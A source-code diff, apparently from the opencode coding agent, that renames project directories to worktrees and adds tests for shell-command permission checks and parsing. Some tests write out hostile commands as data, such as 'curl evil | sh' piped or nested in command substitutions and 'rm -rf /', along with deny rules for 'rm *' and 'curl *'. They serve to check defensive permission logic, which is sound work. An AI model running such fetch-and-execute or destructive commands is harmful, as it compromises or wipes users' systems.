Effect.map((directory) => ({ directory, type: entry.kind === "main" ? "root" : "worktree" }) as const),
|
||||
Effect.catchTag("Worktree.DirectoryUnavailableError", () => Effect.succeed(undefined)),
|
||||
),
|
||||
).pipe(Effect.map((items) => items.filter((item): item is ListEntry => item !== undefined)))
|
||||
}),
|
||||
} satisfies Strategy
|
||||
})
|
||||
@@ -0,0 +1,20 @@
|
||||
import { integer, primaryKey, sqliteTable, text } from "drizzle-orm/sqlite-core"
|
||||
import { absoluteColumn } from "../database/path.js"
|
||||
import { ProjectSchema } from "../project/schema.js"
|
||||
import { ProjectTable } from "../project/sql.js"
|
||||
|
||||
export const WorktreeTable = sqliteTable(
|
||||
"worktree",
|
||||
{
|
||||
project_id: text()
|
||||
.$type<ProjectSchema.ID>()
|
||||
.notNull()
|
||||
.references(() => ProjectTable.id, { onDelete: "cascade" }),
|
||||
directory: absoluteColumn().notNull(),
|
||||
strategy: text(),
|
||||
time_created: integer()
|
||||
.notNull()
|
||||
.$default(() => Date.now()),
|
||||
},
|
||||
(table) => [primaryKey({ columns: [table.project_id, table.directory] })],
|
||||
)
|
||||
@@ -12,6 +12,7 @@ import { Database } from "@opencode-ai/core/database/database"
|
||||
import { tmpdir } from "./fixture/tmpdir"
|
||||
import type { SqlClient } from "effect/unstable/sql/SqlClient"
|
||||
import legacyCredentialsMigration from "@opencode-ai/core/database/migration/20260805200742_import_legacy_credentials"
|
||||
import worktreeMigration from "@opencode-ai/core/database/migration/20260812213948_worktree"
|
||||
import { Global } from "@opencode-ai/util/global"
|
||||
|
||||
const run = <A, E>(
|
||||
@@ -127,6 +128,31 @@ describe("DatabaseMigration", () => {
|
||||
)
|
||||
})
|
||||
|
||||
test("copies project directories into worktrees without removing the old table", async () => {
|
||||
await run(
|
||||
Effect.gen(function* () {
|
||||
const db = yield* makeDb
|
||||
yield* db.run(sql`CREATE TABLE project (id text PRIMARY KEY)`)
|
||||
yield* db.run(
|
||||
sql`CREATE TABLE project_directory (project_id text NOT NULL, directory text NOT NULL, type text, strategy text, time_created integer NOT NULL, PRIMARY KEY (project_id, directory))`,
|
||||
)
|
||||
yield* db.run(
|
||||
sql`INSERT INTO project_directory (project_id, directory, type, strategy, time_created) VALUES ('project', '/root', 'main', NULL, 1), ('project', '/legacy', 'git_worktree', NULL, 2), ('project', '/strategy', NULL, 'git_worktree', 3), ('project', '/custom', NULL, 'acme/snapshot', 4)`,
|
||||
)
|
||||
|
||||
yield* DatabaseMigration.applyOnly(db, [worktreeMigration])
|
||||
|
||||
expect(yield* db.all(sql`SELECT directory, strategy FROM worktree ORDER BY directory`)).toEqual([
|
||||
{ directory: "/custom", strategy: "acme/snapshot" },
|
||||
{ directory: "/legacy", strategy: "git" },
|
||||
{ directory: "/root", strategy: null },
|
||||
{ directory: "/strategy", strategy: "git" },
|
||||
])
|
||||
expect(yield* db.get(sql`SELECT count(*) AS count FROM project_directory`)).toEqual({ count: 4 })
|
||||
}),
|
||||
)
|
||||
})
|
||||
|
||||
test("imports legacy JSON credentials without changing the source file or existing credentials", async () => {
|
||||
await using tmp = await tmpdir()
|
||||
const source = path.join(tmp.path, "auth.json")
|
||||
|
||||
@@ -78,7 +78,6 @@ describe("node build", () => {
|
||||
acquisitions++
|
||||
return Project.Service.of({
|
||||
list: () => Effect.succeed([]),
|
||||
directories: () => Effect.succeed([]),
|
||||
resolve: (directory) => Effect.succeed({ id: Project.ID.global, directory, canonical: directory }),
|
||||
})
|
||||
}),
|
||||
|
||||
@@ -6,6 +6,5 @@ export const globalProjectLayer = Layer.succeed(
|
||||
Project.Service.of({
|
||||
list: () => Effect.succeed([]),
|
||||
resolve: (directory) => Effect.succeed({ id: Project.ID.global, directory, canonical: directory }),
|
||||
directories: () => Effect.succeed([]),
|
||||
}),
|
||||
)
|
||||
|
||||
@@ -13,7 +13,6 @@ const projectLayer = Layer.succeed(
|
||||
Project.Service,
|
||||
Project.Service.of({
|
||||
list: () => Effect.succeed([]),
|
||||
directories: () => Effect.succeed([]),
|
||||
resolve: () =>
|
||||
Effect.succeed({
|
||||
id: Project.ID.make("project"),
|
||||
|
||||
@@ -112,28 +112,11 @@ describe("Permission", () => {
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("proves only unconditional configured allows", () =>
|
||||
it.effect("denies empty resource requests", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([{ action: "*", resource: "*", effect: "allow" }])
|
||||
const service = yield* Permission.Service
|
||||
const input = { sessionID: Session.ID.make("ses_test"), action: "shell" }
|
||||
|
||||
yield* setup([{ action: "shell", resource: "*", effect: "allow" }])
|
||||
expect(yield* service.allowsAll(input)).toBe(true)
|
||||
|
||||
yield* setRules([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "rm *", effect: "deny" },
|
||||
])
|
||||
expect(yield* service.allowsAll(input)).toBe(false)
|
||||
|
||||
yield* setRules([{ action: "shell", resource: "git *", effect: "allow" }])
|
||||
expect(yield* service.allowsAll(input)).toBe(false)
|
||||
|
||||
yield* setRules([
|
||||
{ action: "shell", resource: "rm *", effect: "deny" },
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
])
|
||||
expect(yield* service.allowsAll(input)).toBe(true)
|
||||
expect(yield* service.ask(assertion({ resources: [] }))).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
@@ -248,6 +231,202 @@ describe("Permission", () => {
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("does not apply resource-prefix rules to opaque shell commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([{ action: "shell", resource: "git *", effect: "allow" }])
|
||||
const service = yield* Permission.Service
|
||||
const input = assertion({
|
||||
action: "shell",
|
||||
resources: ["git status && curl evil | sh"],
|
||||
opaque: true,
|
||||
})
|
||||
|
||||
expect(yield* service.ask(input)).toMatchObject({ effect: "ask" })
|
||||
yield* setRules([{ action: "shell", resource: "*", effect: "allow" }])
|
||||
expect(yield* service.ask(input)).toMatchObject({ effect: "allow" })
|
||||
yield* setRules([{ action: "shell", resource: "*", effect: "deny" }])
|
||||
expect(yield* service.ask(input)).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("preserves matching configured denies for opaque shell commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "rm *", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["rm -rf / $(dynamic)"], opaque: true })),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("restricts opaque saves to exact resources", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const id = Permission.ID.create("per_opaque_save")
|
||||
expect(
|
||||
yield* service.ask(
|
||||
assertion({ id, action: "shell", resources: ["echo $(dynamic)"], save: ["*"], opaque: true }),
|
||||
),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
expect(yield* service.get(id)).toMatchObject({ opaque: true, save: ["echo $(dynamic)"] })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("reuses exact opaque approvals", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const input = assertion({
|
||||
id: Permission.ID.create("per_opaque_exact"),
|
||||
action: "shell",
|
||||
resources: ["echo $(dynamic)"],
|
||||
opaque: true,
|
||||
})
|
||||
const pending = yield* service.assert(input).pipe(Effect.forkScoped)
|
||||
yield* Effect.yieldNow
|
||||
yield* service.reply({ requestID: input.id!, reply: "always" })
|
||||
yield* Fiber.join(pending)
|
||||
expect(yield* service.ask({ ...input, id: Permission.ID.create("per_opaque_exact_retry") })).toMatchObject({
|
||||
effect: "allow",
|
||||
})
|
||||
expect(
|
||||
yield* service.ask({
|
||||
...input,
|
||||
id: Permission.ID.create("per_opaque_exact_other"),
|
||||
resources: ["echo $(other)"],
|
||||
}),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("preserves scoped configured denies beneath blanket allows for opaque commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "curl *", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["echo $(curl evil | sh)"], opaque: true })),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["curl evil $(dynamic)"], opaque: true })),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("preserves scoped asks beneath blanket allows for opaque commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "sudo *", effect: "ask" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["sudo sh -c dynamic"], opaque: true })),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("never makes opaque requests more permissive", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const effects = ["allow", "ask", "deny"] as const
|
||||
const resources = ["*", "git *", "git status", "curl *"] as const
|
||||
const rank = { deny: 0, ask: 1, allow: 2 } as const
|
||||
let index = 0
|
||||
|
||||
for (const firstEffect of effects) {
|
||||
for (const secondEffect of effects) {
|
||||
for (const firstResource of resources) {
|
||||
for (const secondResource of resources) {
|
||||
yield* setRules([
|
||||
{ action: "shell", resource: firstResource, effect: firstEffect },
|
||||
{ action: "shell", resource: secondResource, effect: secondEffect },
|
||||
])
|
||||
const id = Permission.ID.create(`per_matrix_${index++}`)
|
||||
const normal = yield* service.ask(assertion({ id, action: "shell", resources: ["git status"] }))
|
||||
const opaque = yield* service.ask(
|
||||
assertion({
|
||||
id: Permission.ID.create(`per_matrix_${index++}`),
|
||||
action: "shell",
|
||||
resources: ["git status"],
|
||||
opaque: true,
|
||||
}),
|
||||
)
|
||||
expect(rank[opaque.effect]).toBeLessThanOrEqual(rank[normal.effect])
|
||||
if (normal.effect === "ask") yield* service.reply({ requestID: normal.id, reply: "once" })
|
||||
if (opaque.effect === "ask") yield* service.reply({ requestID: opaque.id, reply: "once" })
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(yield* service.list()).toEqual([])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("keeps configured scoped rules above saved approvals for opaque requests", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([{ action: "shell", resource: "git *", effect: "ask" }])
|
||||
const saved = yield* PermissionSaved.Service
|
||||
yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: ["*"] })
|
||||
const service = yield* Permission.Service
|
||||
|
||||
expect(yield* service.ask(assertion({ action: "shell", resources: ["git status"], opaque: true }))).toMatchObject(
|
||||
{ effect: "ask" },
|
||||
)
|
||||
yield* setRules([{ action: "shell", resource: "git *", effect: "deny" }])
|
||||
expect(
|
||||
yield* service.ask(
|
||||
assertion({
|
||||
id: Permission.ID.create("per_saved_deny"),
|
||||
action: "shell",
|
||||
resources: ["git status"],
|
||||
opaque: true,
|
||||
}),
|
||||
),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("uses the least permissive effect across resources", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "read", resource: "allowed/*", effect: "allow" },
|
||||
{ action: "read", resource: "blocked/*", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
expect(yield* service.ask(assertion({ resources: ["allowed/file", "unknown/file"] }))).toMatchObject({
|
||||
effect: "ask",
|
||||
})
|
||||
expect(
|
||||
yield* service.ask(
|
||||
assertion({ id: Permission.ID.create("per_multi_deny"), resources: ["allowed/file", "blocked/file"] }),
|
||||
),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("denies opaque wildcard resources when any scoped deny applies", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "external_directory", resource: "*", effect: "allow" },
|
||||
{ action: "external_directory", resource: "/secret/*", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "external_directory", resources: ["*"], opaque: true })),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("uses saved bash approvals while preserving configured deny precedence", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
|
||||
@@ -1,69 +0,0 @@
|
||||
import { describe, expect } from "bun:test"
|
||||
import { Effect, Schema } from "effect"
|
||||
import { Database } from "@opencode-ai/core/database/database"
|
||||
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
|
||||
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
|
||||
import { Project } from "@opencode-ai/core/project"
|
||||
import { ProjectDirectories } from "@opencode-ai/core/project/directories"
|
||||
import { ProjectTable } from "@opencode-ai/core/project/sql"
|
||||
import { AbsolutePath } from "@opencode-ai/core/schema"
|
||||
import { testEffect } from "./lib/effect"
|
||||
|
||||
const it = testEffect(AppNodeBuilder.build(LayerNode.group([Database.node, ProjectDirectories.node])))
|
||||
|
||||
const projectID = Project.ID.make("project-directories")
|
||||
const directory = AbsolutePath.make("/tmp/project-directories")
|
||||
|
||||
function setup() {
|
||||
return Database.Service.use(({ db }) =>
|
||||
db
|
||||
.insert(ProjectTable)
|
||||
.values({ id: projectID, worktree: directory, sandboxes: [], time_created: 1, time_updated: 1 })
|
||||
.onConflictDoNothing()
|
||||
.run()
|
||||
.pipe(Effect.orDie),
|
||||
)
|
||||
}
|
||||
|
||||
describe("ProjectDirectories", () => {
|
||||
it.effect("decodes directory schemas", () =>
|
||||
Effect.sync(() => {
|
||||
expect(Schema.decodeUnknownSync(ProjectDirectories.ListInput)({ projectID })).toEqual({ projectID })
|
||||
expect(Schema.decodeUnknownSync(ProjectDirectories.ListOutput)([{ directory }])).toEqual([{ directory }])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("creates once and ignores conflicts", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* ProjectDirectories.Service
|
||||
|
||||
expect(yield* service.create({ projectID, directory })).toBe(true)
|
||||
expect(yield* service.create({ projectID, directory, strategy: "git_worktree" })).toBe(false)
|
||||
expect(yield* service.list(projectID)).toEqual([{ directory, strategy: undefined }])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("returns an empty list for missing projects", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* ProjectDirectories.Service
|
||||
|
||||
expect(yield* service.list(Project.ID.make("missing-project"))).toEqual([])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("replaces the strategy when requested", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* ProjectDirectories.Service
|
||||
yield* service.create({ projectID, directory, strategy: "old/strategy" })
|
||||
|
||||
expect(yield* service.create({ projectID, directory, strategy: "new/strategy", behavior: "replace" })).toBe(true)
|
||||
expect(yield* service.create({ projectID, directory, strategy: "new/strategy", behavior: "replace" })).toBe(false)
|
||||
expect(yield* service.create({ projectID, directory, behavior: "replace" })).toBe(true)
|
||||
expect(yield* service.create({ projectID, directory, behavior: "replace" })).toBe(false)
|
||||
expect(yield* service.create({ projectID, directory, strategy: "new/strategy", behavior: "replace" })).toBe(true)
|
||||
expect(yield* service.list(projectID)).toEqual([{ directory, strategy: "new/strategy" }])
|
||||
}),
|
||||
)
|
||||
})
|
||||
@@ -364,9 +364,6 @@ describe("Project.resolve", () => {
|
||||
sandboxes: [abs("/preserved-sandbox")],
|
||||
time: { created: 1, initialized: 2 },
|
||||
})
|
||||
expect(
|
||||
(yield* project.directories({ projectID: id })).toSorted((a, b) => a.directory.localeCompare(b.directory)),
|
||||
).toEqual([{ directory: yield* real(tmp.path) }, { directory: yield* real(worktree), strategy: "git_worktree" }])
|
||||
}),
|
||||
)
|
||||
})
|
||||
|
||||
@@ -137,7 +137,7 @@ describe("Session.create", () => {
|
||||
.where(eq(EventTable.aggregate_id, project.id))
|
||||
.all()
|
||||
.pipe(Effect.orDie)
|
||||
expect(announced.map((event) => event.type)).toEqual(["project.directory.resolved.1"])
|
||||
expect(announced.map((event) => event.type)).toEqual(["worktree.resolved.1"])
|
||||
}),
|
||||
),
|
||||
)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { describe, expect } from "bun:test"
|
||||
import path from "path"
|
||||
import { Effect } from "effect"
|
||||
import { Event } from "@opencode-ai/schema/project-directories"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { Bus } from "@opencode-ai/core/bus"
|
||||
import { Database } from "@opencode-ai/core/database/database"
|
||||
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
|
||||
@@ -92,7 +92,7 @@ describe("Session.move", () => {
|
||||
projectID: Project.ID.global,
|
||||
})
|
||||
// The former directory becomes a project after the session left it.
|
||||
yield* bus.publish(Event.Resolved, {
|
||||
yield* bus.publish(Worktree.Event.Resolved, {
|
||||
projectID: Project.ID.make("adopting"),
|
||||
directory: previous,
|
||||
previous: Project.ID.global,
|
||||
|
||||
@@ -6,7 +6,7 @@ import { Location } from "@opencode-ai/schema/location"
|
||||
import { Model } from "@opencode-ai/schema/model"
|
||||
import { Provider } from "@opencode-ai/schema/provider"
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { ProjectDirectories } from "@opencode-ai/schema/project-directories"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { PermissionV1 } from "@opencode-ai/schema/permission-v1"
|
||||
import { Prompt } from "@opencode-ai/schema/prompt"
|
||||
import { SessionInbox } from "@opencode-ai/schema/session-inbox"
|
||||
@@ -39,7 +39,7 @@ test("Core reuses the canonical shared schemas", async () => {
|
||||
coreModel,
|
||||
corePermission,
|
||||
corePermissionV1,
|
||||
coreProjectCopy,
|
||||
coreWorktree,
|
||||
corePty,
|
||||
coreProject,
|
||||
coreProvider,
|
||||
@@ -60,7 +60,7 @@ test("Core reuses the canonical shared schemas", async () => {
|
||||
import("@opencode-ai/core/model"),
|
||||
import("@opencode-ai/core/permission"),
|
||||
import("@opencode-ai/core/v1/permission"),
|
||||
import("@opencode-ai/core/project/copy"),
|
||||
import("@opencode-ai/core/worktree"),
|
||||
import("@opencode-ai/core/pty"),
|
||||
import("@opencode-ai/core/project/schema"),
|
||||
import("@opencode-ai/core/provider"),
|
||||
@@ -112,14 +112,16 @@ test("Core reuses the canonical shared schemas", async () => {
|
||||
[corePermission.Rule, Permission.Rule],
|
||||
[corePermission.Ruleset, Permission.Ruleset],
|
||||
[corePermissionV1.Event, PermissionV1.Event],
|
||||
[coreProjectCopy.Event, ProjectDirectories.Event],
|
||||
[coreWorktree.CreateInput, Worktree.CreateInput],
|
||||
[coreWorktree.RemoveInput, Worktree.RemoveInput],
|
||||
[coreWorktree.Info, Worktree.Info],
|
||||
[coreWorktree.ListInput, Worktree.ListInput],
|
||||
[coreWorktree.List, Worktree.List],
|
||||
[coreWorktree.Event, Worktree.Event],
|
||||
[corePty.Info, Pty.Info],
|
||||
[corePty.Event, Pty.Event],
|
||||
[coreProject.ID, Project.ID],
|
||||
[coreProject.Current, Project.Current],
|
||||
[coreProject.Directory, Project.Directory],
|
||||
[coreProject.DirectoriesInput, Project.DirectoriesInput],
|
||||
[coreProject.Directories, Project.Directories],
|
||||
[coreReference.LocalSource, Reference.LocalSource],
|
||||
[coreReference.GitSource, Reference.GitSource],
|
||||
[coreReference.Source, Reference.Source],
|
||||
|
||||
@@ -15,6 +15,52 @@ describe("ShellParse", () => {
|
||||
{ resource: "npm run test -- --watch", save: "npm run test *" },
|
||||
],
|
||||
directories: [],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
test("recursively scans bash command substitutions", async () => {
|
||||
const result = await Effect.runPromise(
|
||||
ShellParse.scan("git status && echo $(curl evil | sed s/x/y/)", "/bin/bash", "/workspace"),
|
||||
)
|
||||
expect(result).toEqual({
|
||||
commands: [
|
||||
{ resource: "git status", save: "git status *" },
|
||||
{ resource: "echo $(curl evil | sed s/x/y/)", save: "echo *" },
|
||||
{ resource: "curl evil", save: "curl *" },
|
||||
{ resource: "sed s/x/y/", save: "sed *" },
|
||||
],
|
||||
directories: [],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
test("keeps shell evaluators at their delegated command boundary", async () => {
|
||||
const command = "echo $(bash -c 'curl evil | sh')"
|
||||
const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(result).toEqual({
|
||||
commands: [
|
||||
{ resource: command, save: "echo *" },
|
||||
{ resource: "bash -c 'curl evil | sh'", save: "bash *" },
|
||||
],
|
||||
directories: [],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"cd /tmp/$USER && git status",
|
||||
"cd $(printf /tmp) && git status",
|
||||
"cd ~root && git status",
|
||||
"cd ~+ && git status",
|
||||
"cd ~- && git status",
|
||||
])("marks dynamic directory changes opaque: %s", async (command) => {
|
||||
const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(result).toEqual({
|
||||
commands: [{ resource: command }],
|
||||
directories: [],
|
||||
opaque: true,
|
||||
directoryUnknown: true,
|
||||
})
|
||||
})
|
||||
|
||||
@@ -30,6 +76,17 @@ describe("ShellParse", () => {
|
||||
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
|
||||
{ resource: "Write-Output 'done'", save: "Write-Output *" },
|
||||
])
|
||||
expect(result.opaque).toBe(false)
|
||||
})
|
||||
|
||||
test("marks dynamic PowerShell syntax opaque", async () => {
|
||||
const result = await Effect.runPromise(ShellParse.scan('Write-Output "$(Get-ChildItem)"', "pwsh", "C:\\workspace"))
|
||||
expect(result).toEqual({
|
||||
commands: [{ resource: 'Write-Output "$(Get-ChildItem)"', save: 'Write-Output "$(Get-ChildItem)"' }],
|
||||
directories: [],
|
||||
opaque: true,
|
||||
directoryUnknown: true,
|
||||
})
|
||||
})
|
||||
|
||||
test("does not permission directory changes separately", async () => {
|
||||
@@ -37,6 +94,7 @@ describe("ShellParse", () => {
|
||||
expect(result).toEqual({
|
||||
commands: [{ resource: "git status", save: "git status *" }],
|
||||
directories: ["src dir"],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -167,8 +167,10 @@ const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
|
||||
})
|
||||
|
||||
const isWindows = process.platform === "win32"
|
||||
const cwdCommand = isWindows ? "(Get-Location).Path; Start-Sleep -Milliseconds 100" : "pwd"
|
||||
const helloCommand = isWindows ? "[Console]::Out.Write('hello'); Start-Sleep -Milliseconds 100" : "printf hello"
|
||||
const cwdCommand = isWindows
|
||||
? "Get-Location | Select-Object -ExpandProperty Path; Start-Sleep -Milliseconds 100"
|
||||
: "pwd"
|
||||
const helloCommand = isWindows ? "Write-Output hello; Start-Sleep -Milliseconds 100" : "printf hello"
|
||||
const stderrCommand = isWindows
|
||||
? "[Console]::Error.Write('stderr only'); Start-Sleep -Milliseconds 100"
|
||||
: "printf 'stderr only' >&2"
|
||||
@@ -238,7 +240,7 @@ describe("ShellTool", () => {
|
||||
const settled = yield* executeTool(registry, call({ command: helloCommand }))
|
||||
expect(settled.status).toBe("completed")
|
||||
expect(settled.metadata).toMatchObject({ exit: 0, truncated: false })
|
||||
expect(settled.content?.[0]).toEqual({ type: "text", text: "hello" })
|
||||
expect(settled.content?.[0]).toMatchObject({ type: "text", text: expect.stringContaining("hello") })
|
||||
expect(settled.content?.[1]).toMatchObject({
|
||||
type: "text",
|
||||
text: expect.stringContaining("Command exited with code 0."),
|
||||
@@ -247,10 +249,10 @@ describe("ShellTool", () => {
|
||||
{
|
||||
sessionID,
|
||||
action: "shell",
|
||||
resources: [isWindows ? "Start-Sleep -Milliseconds 100" : helloCommand],
|
||||
resources: isWindows ? ["Write-Output hello", "Start-Sleep -Milliseconds 100"] : [helloCommand],
|
||||
},
|
||||
])
|
||||
expect(assertions[0]?.save).toEqual([isWindows ? "Start-Sleep *" : "printf *"])
|
||||
expect(assertions[0]?.save).toEqual(isWindows ? ["Write-Output *", "Start-Sleep *"] : ["printf *"])
|
||||
}),
|
||||
)
|
||||
},
|
||||
@@ -443,7 +445,7 @@ describe("ShellTool", () => {
|
||||
([active, outside]) => {
|
||||
reset()
|
||||
const command = isWindows
|
||||
? `Set-Location -LiteralPath '${outside.path}'; (Get-Location).Path`
|
||||
? `Set-Location -LiteralPath '${outside.path}'; Get-Location | Select-Object -ExpandProperty Path`
|
||||
: `cd '${outside.path}' && pwd`
|
||||
return withSession(active.path, (registry) =>
|
||||
executeTool(registry, call({ command }, "call-external-cd")),
|
||||
@@ -471,7 +473,9 @@ describe("ShellTool", () => {
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) => {
|
||||
reset()
|
||||
const command = isWindows ? "Set-Location $HOME; (Get-Location).Path" : "cd ~ && pwd"
|
||||
const command = isWindows
|
||||
? "Set-Location $HOME; Get-Location | Select-Object -ExpandProperty Path"
|
||||
: "cd ~ && pwd"
|
||||
return withSession(tmp.path, (registry) => executeTool(registry, call({ command }, "call-external-home"))).pipe(
|
||||
Effect.andThen(
|
||||
Effect.sync(() => {
|
||||
|
||||
@@ -2,7 +2,7 @@ import { describe, expect } from "bun:test"
|
||||
import { $ } from "bun"
|
||||
import fs from "fs/promises"
|
||||
import path from "path"
|
||||
import { eq } from "drizzle-orm"
|
||||
import { and, eq, isNull } from "drizzle-orm"
|
||||
import { Effect, Fiber, Stream } from "effect"
|
||||
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
|
||||
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
|
||||
@@ -11,21 +11,23 @@ import { Git } from "@opencode-ai/core/git"
|
||||
import { Database } from "@opencode-ai/core/database/database"
|
||||
import { Bus } from "@opencode-ai/core/bus"
|
||||
import { Project } from "@opencode-ai/core/project"
|
||||
import { ProjectDirectoryTable, ProjectTable } from "@opencode-ai/core/project/sql"
|
||||
import { ProjectCopy } from "@opencode-ai/core/project/copy"
|
||||
import { ProjectDirectories } from "@opencode-ai/core/project/directories"
|
||||
import { ProjectTable } from "@opencode-ai/core/project/sql"
|
||||
import { Worktree } from "@opencode-ai/core/worktree"
|
||||
import { WorktreeDirectory } from "@opencode-ai/core/worktree/directory"
|
||||
import { WorktreeTable } from "@opencode-ai/core/worktree/sql"
|
||||
import { tmpdir } from "./fixture/tmpdir"
|
||||
import { testEffect } from "./lib/effect"
|
||||
|
||||
const it = testEffect(
|
||||
AppNodeBuilder.build(LayerNode.group([ProjectCopy.node, Database.node, Bus.node, ProjectDirectories.node])),
|
||||
const it = testEffect(AppNodeBuilder.build(LayerNode.group([Worktree.node, Database.node, Bus.node])))
|
||||
const projectIt = testEffect(
|
||||
AppNodeBuilder.build(LayerNode.group([Project.node, Worktree.node, Database.node, Bus.node])),
|
||||
)
|
||||
|
||||
function abs(input: string) {
|
||||
return AbsolutePath.make(input)
|
||||
}
|
||||
|
||||
const gitWorktree = ProjectCopy.StrategyID.make("git_worktree")
|
||||
const gitWorktree = Worktree.StrategyID.make("git")
|
||||
|
||||
async function initRepo(directory: string) {
|
||||
await $`git init`.cwd(directory).quiet()
|
||||
@@ -44,7 +46,7 @@ function setup() {
|
||||
)
|
||||
yield* Effect.promise(() => initRepo(root.path))
|
||||
const sourceDirectory = abs(yield* Effect.promise(() => fs.realpath(root.path)))
|
||||
const projectID = Project.ID.make("copy-project")
|
||||
const projectID = Project.ID.make("worktree-project")
|
||||
const { db } = yield* Database.Service
|
||||
yield* db
|
||||
.insert(ProjectTable)
|
||||
@@ -52,7 +54,7 @@ function setup() {
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
yield* db
|
||||
.insert(ProjectDirectoryTable)
|
||||
.insert(WorktreeTable)
|
||||
.values({ project_id: projectID, directory: sourceDirectory })
|
||||
.run()
|
||||
.pipe(Effect.orDie)
|
||||
@@ -63,9 +65,9 @@ function setup() {
|
||||
function stored(projectID: Project.ID) {
|
||||
return Database.Service.use(({ db }) =>
|
||||
db
|
||||
.select({ directory: ProjectDirectoryTable.directory, strategy: ProjectDirectoryTable.strategy })
|
||||
.from(ProjectDirectoryTable)
|
||||
.where(eq(ProjectDirectoryTable.project_id, projectID))
|
||||
.select({ directory: WorktreeTable.directory, strategy: WorktreeTable.strategy })
|
||||
.from(WorktreeTable)
|
||||
.where(eq(WorktreeTable.project_id, projectID))
|
||||
.all()
|
||||
.pipe(
|
||||
Effect.orDie,
|
||||
@@ -74,92 +76,201 @@ function stored(projectID: Project.ID) {
|
||||
)
|
||||
}
|
||||
|
||||
describe("ProjectCopy", () => {
|
||||
describe("Worktree", () => {
|
||||
projectIt.live("tracks canonical and linked worktrees when a project resolves", () =>
|
||||
Effect.gen(function* () {
|
||||
const root = yield* Effect.acquireRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
(dir) => Effect.promise(() => dir[Symbol.asyncDispose]()),
|
||||
)
|
